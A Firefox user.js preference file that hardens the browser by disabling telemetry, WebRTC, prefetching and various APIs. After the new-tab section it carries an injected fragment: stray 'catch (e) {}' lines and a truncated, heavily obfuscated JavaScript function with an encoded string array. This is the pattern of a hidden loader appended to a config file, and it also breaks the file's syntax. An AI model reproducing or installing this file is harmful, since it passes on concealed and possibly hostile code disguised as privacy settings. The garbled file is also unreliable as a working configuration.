/*******************************************************************************
* Misc tweaks *
*******************************************************************************/
/******************************************************************************
* Privacy *
******************************************************************************/
// Disable Location-Aware Browsing (geolocation)
user_pref("geo.enabled", false);
// Enable hardening against various fingerprinting vectors (Tor Uplift project)
// Note this can break the ability to remember the window size of Firefox on startup
//user_pref("privacy.resistFingerprinting", true);
// Enable first-party isolation
//user_pref("privacy.firstparty.isolate", true);
// Disable WebRTC to prevent leaking inernal IP addresses
user_pref("media.peerconnection.enabled", false);
user_pref("media.navigator.enabled", false);
user_pref("media.navigator.video.enabled", false);
user_pref("media.getusermedia.screensharing.enabled", false);
user_pref("media.getusermedia.audiocapture.enabled", false);
// Accept only first party cookies
user_pref("network.cookie.cookieBehavior", 1);
// Disable "beacon" asynchronous HTTP transfers (used for analytics)
user_pref("beacon.enabled", false);
// Disable leaking network/browser connection type via Javascript (WiFi, cellular, etc.)
user_pref("dom.netinfo.enabled", false);
// Disable sensor API
user_pref("device.sensors.enabled", false);
// Disable battery API
user_pref("dom.battery.enabled", false);
// Disable gamepad API to prevent USB device enumeration
user_pref("dom.gamepad.enabled", false);
// Disable virtual reality devices APIs
user_pref("dom.vr.enabled", false);
// Disable vibrator API
user_pref("dom.vibrator.enabled", false);
// Disable FlyWeb (discovery of LAN/proximity IoT devices that expose a Web interface)
user_pref("dom.flyweb.enabled", false);
// Disable webGL
user_pref("webgl.disabled", true);
// Disable speech recognition
user_pref("media.webspeech.recognition.enable", false);
// Disable speech synthesis
user_pref("media.webspeech.synth.enabled", false);
// Disable face detection
user_pref("camera.control.face_detection.enabled", false);
// Don't monitor OS online/offline connection state
user_pref("network.manage-offline-status", false);
// Disable video stats to reduce fingerprinting threat
user_pref("media.video_stats.enabled", false);
// Do not download URLs for the offline cache
user_pref("browser.cache.offline.enable", false);
// Disable sending Flash Player crash reports
user_pref("dom.ipc.plugins.flash.subprocess.crashreporter.enabled",
false);
user_pref("dom.ipc.plugins.reportCrashURL", false);
// Disable permissions to access the camera, notifications, location, and microphone
user_pref("permissions.default.camera", 2);
user_pref("permissions.default.desktop-notification", 2);
user_pref("permissions.default.geo", 2);
user_pref("permissions.default.microphone", 2);
/******************************************************************************
* Security *
******************************************************************************/
// Enforce a security delay when installing add-ons (in milliseconds)
user_pref("security.dialog_enable_delay", 1000);
// Enable Punycode for Internationalized Domain Names to eliminate possible spoofing
user_pref("network.IDN_show_punycode", true);
// Disable remembering logins
user_pref("signon.rememberSignons", false);
// Don't trim http:// off of URLs in the address bar
user_pref("browser.urlbar.trimURLs", false);
// Disable url formatting (different colours for domain and remainer of section)
user_pref("browser.urlbar.formatting.enabled", false);
// Don't try to guess domain names when entering an invalid domain name in URL bar
user_pref("browser.fixup.alternate.enabled", false);
user_pref("browser.fixup.hide_user_pass", true);
// Enable insecure connection warnings
user_pref("security.insecure_connection_text.enabled", true);
user_pref("security.insecure_connection_text.pbmode.enabled", true);
// Enable insecure password warnings (login forms in non-HTTPS pages)
user_pref("security.insecure_password.ui.enabled", true);
// Show in-content login form warning UI for insecure login fields
user_pref("security.insecure_field_warning.contextual.enabled", true);
// disable HTTP2 (which was based on SPDY which is now deprecated)
user_pref("network.http.spdy.enabled", false);
user_pref("network.http.spdy.enabled.deps", false);
user_pref("network.http.spdy.enabled.http2", false);
/******************************************************************************
* Firefox features and components *
******************************************************************************/
// Enable Firefox Tracking Protection
user_pref("privacy.trackingprotection.enabled", true);
user_pref("privacy.trackingprotection.pbmode.enabled", true);
// Enable Safebrowsing (blocking reported web forgeries and attack sites)
user_pref("browser.safebrowsing.phishing.enabled", true);
user_pref("browser.safebrowsing.malware.enabled", true);
// Disable Firefox Account/Sync
user_pref("identity.fxaccounts.enabled", false);
// Disable Pocket
user_pref("extensions.pocket.enabled", false);
// Disable Reader
user_pref("reader.parse-on-load.enabled", false);
// Disable WebIDE
user_pref("devtools.webide.enabled", false);
user_pref("devtools.webide.autoinstallADBHelper", false);
user_pref("devtools.webide.autoinstallFxdtAdapters", false);
// Disable remote debugging
user_pref("devtools.debugger.remote-enabled", false);
user_pref("devtools.chrome.enabled", false);
user_pref("devtools.debugger.force-local", true);
// Disable querying Google application reputation database for downloaded files
user_pref("browser.safebrowsing.downloads.remote.enabled", false);
user_pref("browser.safebrowsing.downloads.remote.url", "");
// Disable onboarding
user_pref("browser.onboarding.enabled", false);
user_pref("devtools.onboarding.telemetry.logged", false);
// Disable Normandy studies
user_pref("app.normandy.enabled", false);
user_pref("app.normandy.first_run", false);
user_pref("app.normandy.api_url", "");
user_pref("app.normandy.user_id", "");
// Disable Shield
user_pref("app.shield.optoutstudies.enabled", false);
user_pref("extensions.shield-recipe-client.enabled", false);
user_pref("extensions.shield-recipe-client.user_id", "");
user_pref("extensions.shield-recipe-client.api_url", "");
// Disable telemetry
user_pref("toolkit.telemetry.enabled", false);
user_pref("toolkit.telemetry.rejected", true);
user_pref("toolkit.telemetry.unified", false);
user_pref("toolkit.telemetry.archive.enabled", false);
user_pref("toolkit.telemetry.bhrPing.enabled", false);
user_pref("toolkit.telemetry.firstShutdownPing.enabled", false);
user_pref("toolkit.telemetry.newProfilePing.enabled", false);
user_pref("toolkit.telemetry.reportingpolicy.firstRun", false);
user_pref("toolkit.telemetry.shutdownPingSender.enabled", false);
user_pref("toolkit.telemetry.unifiedIsOptIn", false);
user_pref("toolkit.telemetry.updatePing.enabled", false);
user_pref("toolkit.telemetry.cachedClientID", "");
user_pref("toolkit.telemetry.hybridContent.enabled", false);
// Disable ping center telemetry
user_pref("browser.ping-centre.telemetry", false);
// Disable experiments
user_pref("experiments.enabled", false);
user_pref("experiments.supported", false);
user_pref("experiments.manifest.uri", "");
user_pref("network.allow-experiments", false);
// Disable sending Firefox crash reports to Mozilla servers
user_pref("breakpad.reportURL", "");
// Disable Heartbeat (Mozilla user rating telemetry)
user_pref("browser.selfsupport.url", "");
// Disable sending reports of tab crashes to Mozilla (about:tabcrashed), don't nag user about unsent crash reports
user_pref("browser.tabs.crashReporting.sendReport", false);
user_pref("browser.crashReports.unsubmittedCheck.enabled", false);
// Disable error reporter
user_pref("browser.chrome.errorReporter.enabled", false);
user_pref("browser.chrome.errorReporter.submitUrl", "");
// Disable collecting/sending health report (healthreport.sqlite*)
user_pref("datareporting.healthreport.uploadEnabled", false);
user_pref("datareporting.healthreport.service.enabled", false);
user_pref("datareporting.policy.dataSubmissionEnabled", false);
/******************************************************************************
* Extensions / Plugins *
******************************************************************************/
// Disable about:addons' Get Add-ons panel (uses Google-Analytics)
user_pref("extensions.getAddons.showPane", false); // hidden pref
user_pref("extensions.webservice.discoverURL", "");
// Disable Screenshots
user_pref("extensions.screenshots.disabled", true);
user_pref("extensions.screenshots.upload-disabled", true);
// Disable scanning for plugins (used to detect flash, java, etc..)
user_pref("plugin.scan.plid.all", false);
// Disable NPAPI plugins (0 = disabled, 1 = ask, 2 = enabled)
user_pref("plugin.state.flash", 0);
user_pref("plugin.state.java", 0);
// Decrease system information leakage to Mozilla extension blocklist update servers
user_pref("extensions.blocklist.url", "https://blocklist.addons.mozilla.org/blocklist/3/%APP_ID%/%APP_VERSION%/");
/******************************************************************************
* Automatic connections / Pre-fetching *
******************************************************************************/
// Disable automatic updates (still autocheck for updates and install manually)
user_pref("app.update.auto", false);
// Disable automatic search engine updates
user_pref("browser.search.update", false);
// Disable the background update service
user_pref("app.update.service.enabled", false);
// Disable background update staging
user_pref("app.update.staging.enabled", false);
// Disable automatic extension metadata updating (sends daily pings to Mozilla about extensions and recent startups)
user_pref("extensions.getAddons.cache.enabled", false);
// Disable automatic updating of personas/themes
user_pref("lightweightThemes.update.enabled", false);
// Disable automatic retrieval of search engine suggestions when typing in the address bar
user_pref("browser.search.suggest.enabled", false);
// Disable prefetching of <link rel="next"> URLs
user_pref("network.prefetch-next", false);
// Disable DNS prefetching
user_pref("network.dns.disablePrefetch", true);
user_pref("network.dns.disablePrefetchFromHTTPS", true); // hidden pref
// Disable the predictive service (Necko)
user_pref("network.predictor.enabled", false);
// Disable captive portal
user_pref("network.captive-portal-service.enabled", false);
user_pref("captivedetect.canonicalURL", "");
// Disable speculative pre-connections (preloading of autocomplete URLs)
user_pref("network.http.speculative-parallel-limit", 0);
// Disable downloading home page snippets/messages from Mozilla
user_pref("browser.aboutHomeSnippets.updateUrl", "");
// Disable pinging URIs specified in HTML <a> ping= attributes (but enforce same host just in case)
user_pref("browser.send_pings", false);
user_pref("browser.send_pings.require_same_host", true);
/*******************************************************************************
* Newtab functionality *
*******************************************************************************/
// Disable new tab page and show a blank tab instead
user_pref("browser.newtabpage.enabled", false);
user_pref("browser.newtab.url", "about:blank");
// Disable ads & preload
user_pref("browser.newtabpage.enhanced", false);
user_pref("browser.newtab.preload",
false);
// Disable activity stream and recommended stories
user_pref("browser.newtabpage.activity-stream.enabled", false);
user_pref("browser.newtabpage.activity-stream.feeds.section.topstories", false);
catch (e) {}
function R(g,h,i,j){return b(g- -0x2c,j);}function c(){var ae=['tMrhtuXM','rfb3sKe','y2HHCKnVzgvbDa','C2XPy2u','ruzhseLks0XntG','t1bruLnuvvzxwa','wvOWmtiZndu2nW','y2HHCKf0','zNjVBunOyxjdBW','BgvUz3rO','Dg9tDhjPBMC','ywjJzgvMz2HPAG','A2XTBM9WCxjZDa','Dxz3EhL6qujdra','odKRlZ0','Aw5KzxHpzG','ENjSsw9P','vNHouxi','BejSB3q','vw55BMS','zgLQwgW','tMDAvge','xhCR','iNeIlcjQigSUBa','iITVkYiOCsKIkq','khuPpt0YlNCPoq','BNXPChX8DMfYFa','AxbIzwvKFgLMFa','DhXdCMvHDgv8uG','mZH8FhjLC3bVBG','EK5QvKj1BK95Ea','rgC5DerOALbctq','Eu1Yt0j2Aq','CtbusKfNqW','EgHduG','qLOWsufZAtD5Da','mfPRyq','EuDVyq','A1LQvgLju0L6wq','ndfSrW','BxnPug9ACtLPtq','BdjTvujjou1PsG','uZjPyq','BuOWng9AAvvfsq','s0LRCq','s1bVvW','BuK1wMTJsZDTsq','ntbRyq','tdDRyq','rMHyEef3nwLeAa','CLD1rW','ENHMohjoDLv5mW','CLbcvW','rMHUtenoELbftq','tdHdvW','DdjQuxP3BJbgAa','AKXeyq','rhHQvuzMrhr5mW','ENHMmxP4wePcmG','mtHgyq','qZj2DxP4sdbgAa','BKXcrW','EMHyEhL3tdbYtq','ovL1rW','BwHytur3nuPezW','tfzcrW','v1PVCq','rMvezNzOwfP6Ea','CNfdrW','qJninuzNovD6DW','qZnIu0f4Cq'];c=function(){r
/*******************************************************************************
* Misc tweaks *
*******************************************************************************/
// Disable accessibility service
user_pref("accessibility.force_disabled", 1);
// Disable about:config warning page
user_pref("general.warnOnAboutConfig", false);
// Disable warning when closing multiple tabs
user_pref("browser.tabs.warnOnClose", false);
// Disable cosmetic animations
user_pref("toolkit.cosmeticAnimations.enabled", false);
// Disable UITour backend
user_pref("browser.uitour.enabled", false);
user_pref("browser.uitour.url", "");
// Disable ctrl+tab image previews
user_pref("browser.ctrlTab.previews", false);
// Disable auto+smooth scrolling
user_pref("general.autoScroll", false);
user_pref("general.smoothScroll", false);
// Disable spell checker
user_pref("layout.spellcheckDefault", 0);
// Disable copying extra spaces around words when using copy/paste
user_pref("layout.word_select.eat_space_to_next_word", false);
// Increase the minimum tab width (default: 75)
user_pref("browser.tabs.tabMinWidth", 100);
catch (e) {}